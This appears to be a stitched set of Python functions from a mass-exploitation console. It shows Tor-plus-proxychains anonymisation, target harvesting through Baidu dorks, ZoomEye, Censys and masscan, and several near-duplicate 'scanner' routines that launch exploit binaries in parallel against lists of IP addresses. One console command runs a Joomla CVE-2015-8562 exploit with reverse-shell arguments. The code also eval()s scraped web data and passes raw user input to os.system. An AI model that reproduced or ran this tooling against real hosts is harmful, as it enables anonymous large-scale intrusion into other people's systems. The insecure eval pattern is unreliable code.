def dynamic_proxy(self, target_ip): """ request a random proxy from proxy_pool, then use it on top of Tor, via proxychains4 all config files are stored temporarily under /dev/shm target_ip: different proxy per target, thus target_ip distinguishes different config files return: True when pool is usable False when pool is unavailable see https://github.com/jhao104/proxy_pool """ if self.proxy_pool_api == "": console.print_error( "[-] proxy_pool not configured, type `set proxy-pool` to configure") return False if shutil.which("proxychains4") is None: console.print_error("[-] proxychains4 not found") return False try: resp = requests.get( self.proxy_pool_api, timeout=10) proxy_addr = resp.json()['proxy'] except requests.RequestException as exc: console.print_warning(f"[-] Error: {exc}") return False except KeyError: return False except BaseException as exc: console.print_warning( f"[-] Error: cannot read proxy: {resp.text}\nException: {exc}") return False proxy_addr = proxy_addr.split('://')[-1] proxy_host = proxy_addr.split(':')[0] proxy_port = proxy_addr.split(':')[1] template = f'''strict_chain quiet_mode # proxy_dns remote_dns_subnet 224 tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 9050 socks4 {proxy_host} {proxy_port}\n''' try: with open(f"/dev/shm/{target_ip}.conf", "w+") as conff: conff.write(template) conff.close() except BaseException: return False return True
def get_and_parse(url, page): ''' fetch baidu result and parse ''' try: headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1) \ AppleWebKit/537.36 (KHTML, like Gecko) " + "Chrome/41.0.2228.0 Safari/537.36" } url += str(page) rget = requests.get(url, headers=headers) soup = BeautifulSoup(rget.text, "html.parser") div = soup.find_all(tpl='www_normal') for line in div: result = line.get('data-log', '') # pylint: disable=eval-used res = eval(result) vwrite.write_to_file(res['mu'], 'result.txt') except requests.RequestException as exc: console.print_warning(f"[-] Request error: {exc}") except BaseException: console.debug_except()
def run_check_proxy_pool(**kwargs): """ check if proxy_pool is usable """ session = kwargs.get("session", None) # update via user config file session.read_config() # check tor tor_status = "Unknown" def check_tor(): # also check tor try: requests.get("http://ifconfig.me", timeout=10, proxies=dict(http='socks5://127.0.0.1:9050', https='socks5://127.0.0.1:9050')) except BaseException: return False return True def run_check(res): res['tor_status'] = "DISCONNECTED" if check_tor(): res['tor_status'] = "OK" if session is None: console.print_error("[-] info: session not exist") return # check proxy chain res['proxy_status'] = "DISCONNECTED" if session.test_proxy(): res['proxy_status'] = "OK" if session.proxy_pool_api == '': console.print_warning("[!] proxy_pool_api not configured") else: res = Manager().dict() proc = Process(target=run_check, args=(res,)) proc.start() console.print_status( "[*] please wait while checking proxy chain connectivity...", proc ) proc.join() tor_status = res['tor_status'] session.proxy_status = res['proxy_status'] colors.colored_print(f""" proxy ----- [*] proxy_pool API: {session.proxy_pool_api} [*] tor connectivity: {tor_status} [*] proxy chain connectivity: {session.proxy_status} """, colors.CYAN)
def run_zoomeye(**kwargs): """ Crawler for ZoomEye """ try: console.print_warning( "[*] ZoomEye now asks for phone verification (+86 only)") zoomeye.run() except (EOFError, KeyboardInterrupt, SystemExit): return except BaseException: console.debug_except()
def run_masscan(**kwargs): """ run masscan external tool, mass scale internet scanner """ session = kwargs.get("session", None) # check root, as masscan requires root privilege if not session.is_root: console.print_error( "[-] Please run mec as root in order to run masscan") return ports = console.input_check( "[?] What ports do you want to scan (eg. 80 443)? ").split() try: scan.masscan(ports) except KeyboardInterrupt: console.print_warning("[-] masscan exited")
def run_baidu(**kwargs): """ Search via m.baidu.com """ session = kwargs.get("session") command = kwargs.get("args") try: dork = command[0] count = int(command[1]) os.chdir(session.out_dir) colors.colored_print('[*] Searching on Baidu...', colors.PURPLE) baidu.spider(dork, count) if console.yes_no("\n[?] Use collected URLs as target?"): session.ip_list = session.out_dir + "/result.txt" except (EOFError, KeyboardInterrupt, SystemExit): console.print_warning("[-] Interrupted") return except BaseException as exc: console.print_error(f"[-] Error: {exc}") console.debug_except()
def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite _, work_path, exec_path, custom_args, jobs = scanner_args[0], \ scanner_args[1], scanner_args[2], scanner_args[3], scanner_args[4] if SessionParameters.USE_PROXY: e_args = [ 'proxychains4', '-q', '-f', SessionParameters.PROXY_CONF, './' + exec_path ] else: e_args = ['./' + exec_path] e_args += custom_args e_args += ['-t'] try: target_list = open(SessionParameters.IP_LIST) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return os.chdir('./exploits/' + work_path) console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return console.print_warning('\n[!] It might be messy, get ready!' + '\n') time.sleep(2) count = 0 tested = count rnd = 1 for line in target_list: target_ip = line.strip() progress = colors.BLUE + colors.BOLD + 'ROUND.' + \ str(rnd) + colors.END + ' ' + colors.CYAN + colors.BOLD + \ str(tested + 1) + colors.END + ' targets found\n' try: sys.stdout.write('\r' + progress) sys.stdout.flush() except KeyboardInterrupt: exit() count += 1 tested += 1 try: e_args += [target_ip] print(colors.CYAN + ' '.join(e_args) + colors.END + '\n') proc = subprocess.Popen(e_args) # continue to next target e_args.remove(target_ip) time.sleep(.1) if count == jobs or count == 0: count = 0 rnd += 1 _, _ = proc.communicate() if proc.returncode is not None: proc.kill() continue sys.stdout.flush() os.system('clear') except (EOFError, KeyboardInterrupt, SystemExit): sys.exit(1) else: console.print_error('[-] Error when running scanner') debug_except() os.system('clear') os.chdir(SessionParameters.INIT_DIR) console.print_success('\n[+] All done!\n') print(console.INTRO)
def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite try: work_path, exec_path = scanner_args.work_path, scanner_args.exec_path custom_args, jobs = scanner_args.custom_args, scanner_args.jobs except BaseException: return if SESSION.use_proxy: e_args = [ 'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path ] else: e_args = ['./' + exec_path] # add custom arguments for different exploits e_args += custom_args # the last argument is target host e_args += ['-t'] try: target_list = open(SESSION.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return try: os.chdir('./exploits/' + work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + work_path) debug_except() console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) # you might want to cancel the scan to correct some errors if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return # save stdout to logfile try: logfile = open(SESSION.logfile, "a+") except FileNotFoundError: console.print_error("[-] Log file not found") # needed for the loop procs = [] pids = [] # collects all pids, check if empty when finishing count = len(procs) # display help for viewing logs print(colors.CYAN + "[*] Use `tail -f {}` to view logs\n\n".format(SESSION.logfile)) # use progress bar with open(SESSION.ip_list) as iplistf: total = len([0 for _ in iplistf]) iplistf.close() pbar = tqdm.tqdm(total=total, ncols=80, desc="[*] Processing targets") for line in target_list: target_ip = line.strip() # mark this loop as done count = len(procs) try: # start and display current process e_args += [target_ip] proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) procs.append(proc) pids.append(proc.pid) pbar.set_description(desc="[*] Processing {}".format(target_ip)) # continue to next target e_args.remove(target_ip) # process pool if count == jobs: for item in procs: if psutil.pid_exists(item.pid): timer_proc = Process(target=proc_timer, args=(item, )) timer_proc.start() else: pids.remove(item.pid) procs = [] except (EOFError, KeyboardInterrupt, SystemExit): # killall running processes check_kill_process(exec_path) logfile.close() pbar.close() console.print_error("[-] Task aborted") os.chdir(SESSION.init_dir) return except BaseException as exc: console.print_error("[-] Exception: {}\n".format(str(exc))) logfile.write("[-] Exception: " + str(exc) + "\n") finally: # check if any pids are done try: for pid in pids: if not psutil.pid_exists(pid): pids.remove(pid) pbar.update(1) except BaseException: pass # make sure all processes are done if pids: time.sleep(10) # kill everything thats going to be a zombie, close logfile, exit progress bar, and print done flag check_kill_process(exec_path) logfile.close() pbar.close() os.chdir(SESSION.init_dir) console.print_success('\n[+] All done!\n')
def execute(cmd): ''' handles user input in console ''' # lol i don't want any errors here cmd = str(cmd).lower().strip() if cmd == '': return if cmd == "masscan": # check root, as masscan requires root privilege if os.geteuid() != 0: console.print_error( "[-] Please run mec as root in order to run masscan") return ports = console.input_check( "[?] What ports do you want to scan (eg. 80 443)? ").split() try: scan.masscan(ports) except KeyboardInterrupt: console.print_warning("[-] masscan exited") elif cmd == 'info': colored_print( '[*] Current directory: {}\ \n[*] Init directory: {}\ \n[*] Log file: {}\ \n[*] Target: {}\ \n[*] Proxy config: {}'.format(os.getcwd(), SESSION.init_dir, SESSION.logfile, SESSION.ip_list, SESSION.proxy_conf), colors.CYAN) elif cmd.startswith('target'): target = ''.join(cmd.split()[1:]) if target not in os.listdir(SESSION.init_dir + '/data'): console.print_error("[-] Target file not found") return colored_print('[i] Target changed to {}'.format(target), colors.BLUE) SESSION.ip_list = SESSION.init_dir + \ '/data/' + target elif cmd in ('init', 'i'): colored_print('[*] Going back to init_dir...', colors.BLUE) os.chdir(SESSION.init_dir) elif cmd.startswith('baidu'): try: command = cmd.strip().split() dork = command[1] count = int(command[2]) os.chdir(SESSION.out_dir) colored_print('[*] Searching on Baidu...', colors.PURPLE) baidu.spider(dork, count) if yes_no("Use collected URL's as target?"): SESSION.ip_list = SESSION.init_dir + "result.txt" except (IndexError, EOFError, KeyboardInterrupt, SystemExit): return elif cmd == 'proxy': if not os.path.exists(SESSION.ss_config): console.print_error('[-] Please make sure {} exists'.format( SESSION.ss_config)) try: subprocess.Popen([SESSION.proxy_bin, '-c', SESSION.ss_config], stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=False) except BaseException as err: console.print_error('[-] Error starting Shadowsocks proxy: ' + str(err)) debug_except() elif cmd == 'redis': console.print_error('[-] Under development') elif cmd.startswith('google'): try: cmd = cmd.strip().split() dork = cmd[1] # well yes im a lazy guy subprocess.call([ './exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork, '--revshell=\'127.0.0.1\'', '--port=4444' ]) except BaseException as err: console.print_error(str(err)) debug_except() elif cmd in ('q', 'quit'): check_kill_process('ss-proxy') sys.exit(0) elif cmd in ('h', 'help', '?'): print(console.HELP_INFO) elif cmd == 'exploits': colored_print('[+] Available exploits: ', colors.CYAN) for poc in list_exp(): colored_print(poc, colors.BLUE) elif cmd in ('z', "zoomeye"): try: console.print_warning( "[*] ZoomEye now asks for phone verification (+86 only)") zoomeye.run() except (EOFError, KeyboardInterrupt, SystemExit): pass else: debug_except() elif cmd == "censys": try: output = censys.start() if yes_no("Use collected URL's as target?"): SESSION.ip_list = SESSION.init_dir + "/" + output colored_print( '[i] Target changed to {}'.format(SESSION.ip_list), colors.BLUE) except BaseException: return elif cmd in ('x', 'reset'): os.system("reset") elif cmd in ('c', 'clear'): os.system("clear") elif cmd in ("attack", "e"): attack() else: try: print(colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END, colors.GREEN + cmd, colors.END) os.system(cmd) except (EOFError, KeyboardInterrupt, SystemExit): return
def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite work_path, exec_path = scanner_args.work_path, scanner_args.exec_path custom_args, jobs = scanner_args.custom_args, scanner_args.jobs if SESSION.use_proxy: e_args = [ 'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path ] else: e_args = ['./' + exec_path] # add custom arguments for different exploits e_args += custom_args # the last argument is target host e_args += ['-t'] try: target_list = open(SESSION.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return try: os.chdir('./exploits/' + work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + work_path) debug_except() console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) # you might want to cancel the scan to correct some errors if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return console.print_warning('\n[!] It might be messy, get ready!' + '\n') time.sleep(2) # save stdout to logfile try: logfile = open(SESSION.logfile, "a+") except FileNotFoundError: console.print_error("[-] Log file not found") # needed for the loop procs = [] count = len(procs) tested = count # use curses to display output import curses stdscr = curses.initscr() curses.start_color() curses.use_default_colors() curses.init_pair(1, curses.COLOR_CYAN, -1) curses.init_pair(2, curses.COLOR_WHITE, -1) curses.init_pair(3, curses.COLOR_GREEN, -1) for line in target_list: target_ip = line.strip() # clear screen for each output stdscr.refresh() # display progress info on top progress = str(tested) + ' targets found' # tail to get the last line of log file status = tail(SESSION.logfile) # mark this loop as done count = len(procs) tested += 1 try: # start and display current process e_args += [target_ip] stdscr.addstr(0, 0, progress + '\n', curses.A_BOLD | curses.color_pair(1)) stdscr.addstr(2, 0, ' '.join(e_args) + '\n', curses.color_pair(3)) stdscr.addstr(4, 0, status, curses.color_pair(2)) proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) procs.append(proc) # continue to next target e_args.remove(target_ip) time.sleep(.11) # process pool if count == jobs: # if returned any exit code, consider the process as done for item in procs: item.communicate() if item.returncode is not None: item.kill() procs = [] except (EOFError, KeyboardInterrupt, SystemExit): curses.endwin() for item in procs: if item.pid is not None: item.kill() logfile.close() console.print_error("[-] Task aborted") # killall running processes check_kill_process(exec_path) return # close logfile, exit curses window, and print done flag curses.endwin() logfile.close() os.chdir(SESSION.init_dir) console.print_success('\n[+] All done!\n')
def scan(self): ''' Execute exploit against given ip list ''' try: work_path, exec_path = self.work_path, self.exec_path custom_args, jobs = self.custom_args, self.jobs except BaseException: console.print_error("[-] Invalid config") return if self.session.use_proxy: e_args = [ 'proxychains4', '-f', self.session.proxy_conf, './' + exec_path ] else: e_args = ['./' + exec_path] # add custom arguments for different exploits e_args += custom_args # the last argument is target host e_args += ['-t'] try: target_list = open(self.session.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) console.debug_except() return try: os.chdir('./exploits/' + work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + work_path) console.debug_except() console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) # you might want to cancel the scan to correct some errors if not console.yes_no('[?] Proceed?'): os.chdir(self.session.init_dir) return # save stdout to logfile try: logfile = open(self.session.logfile, "a+") except FileNotFoundError: console.print_error("[-] Log file not found") # needed for the loop procs = [] pool = [] # holds all processes, check if empty when finishing count = len(procs) # display help for viewing logs print(colors.CYAN + "[*] Use `tail -f {}` to view logs\n\n".format( self.session.logfile)) # use progress bar with open(self.session.ip_list) as iplistf: total = len([0 for _ in iplistf]) iplistf.close() pbar = tqdm.tqdm(total=total, ncols=80, desc="[*] Processing targets") for line in target_list: target_ip = line.strip() # mark this loop as done count = len(procs) try: # start and display current process e_args += [target_ip] proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) procs.append(proc) pool.append(proc) pbar.set_description( desc="[*] Processing {}".format(target_ip)) # continue to next target e_args.remove(target_ip) # process pool if count == jobs: for item in procs: if psutil.pid_exists(item.pid): timer_proc = Process(target=futil.proc_timer, args=(item, )) timer_proc.start() else: pool.remove(item) procs = [] except (EOFError, KeyboardInterrupt, SystemExit): console.print_error("[-] Task aborted") break except BaseException as exc: logfile.write("[-] Exception: " + str(exc) + "\n") finally: # check if any procs are done, remove them from pool, update progress bar try: for proc in pool: if proc.poll() is not None: pool.remove(proc) pbar.update(1) except BaseException: logfile.write("[-] Exception: " + traceback.format_exc() + "\n") # make sure all processes are done if pool: for proc in pool: try: proc.terminate() proc.wait() except (EOFError, KeyboardInterrupt, SystemExit): pass # close logfile, exit progress bar, and print done flag logfile.close() pbar.close() os.chdir(self.session.init_dir) console.print_success('\n[+] All done!\n') # this fixes #37, because when parent gets killed, all zombie children die sys.exit()
def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite work_path, exec_path, custom_args, jobs = scanner_args[ 0], scanner_args[1], scanner_args[2], scanner_args[3] if SESSION.use_proxy: e_args = [ 'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path] else: e_args = ['./' + exec_path] # add custom arguments for different exploits e_args += custom_args # the last argument is target host e_args += ['-t'] try: target_list = open(SESSION.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return try: os.chdir('./exploits/' + work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + work_path) debug_except() console.print_warning( '\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) # you might want to cancel the scan to correct some errors if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return console.print_warning('\n[!] It might be messy, get ready!' + '\n') time.sleep(2) # needed for the loop count = 0 tested = count rnd = 1 # save stdout to logfile logfile = open(SESSION.logfile, "a+") # start a thread in backgroud to display tailf info log = SESSION.logfile status = Process(target=tailf, args=(log,)) try: status.start() except (SystemExit, KeyboardInterrupt, EOFError): status.terminate() for line in target_list: target_ip = line.strip() # display progress info on top progress = colors.CYAN + colors.BOLD + \ str(tested + 1) + colors.END + ' targets found\n' try: os.system('clear') sys.stdout.write('\r' + progress) sys.stdout.flush() except KeyboardInterrupt: exit() # mark this loop as done count += 1 tested += 1 try: # start and display current process e_args += [target_ip] sys.stdout.write( '\r' + colors.CYAN + ' '.join(e_args) + colors.END + '\n') sys.stdout.flush() try: proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) except (KeyboardInterrupt, EOFError, SystemExit): proc.kill() # continue to next target e_args.remove(target_ip) time.sleep(.13) # process pool if count == jobs or count == 0: count = 0 rnd += 1 _, _ = proc.communicate() # if returned any exit code, consider the process as done if proc.returncode is not None: proc.kill() continue except (EOFError, KeyboardInterrupt, SystemExit): sys.exit(1) # close logfile logfile.close() os.system('clear') os.chdir(SESSION.init_dir) console.print_success('\n[+] All done!\n') print(console.INTRO)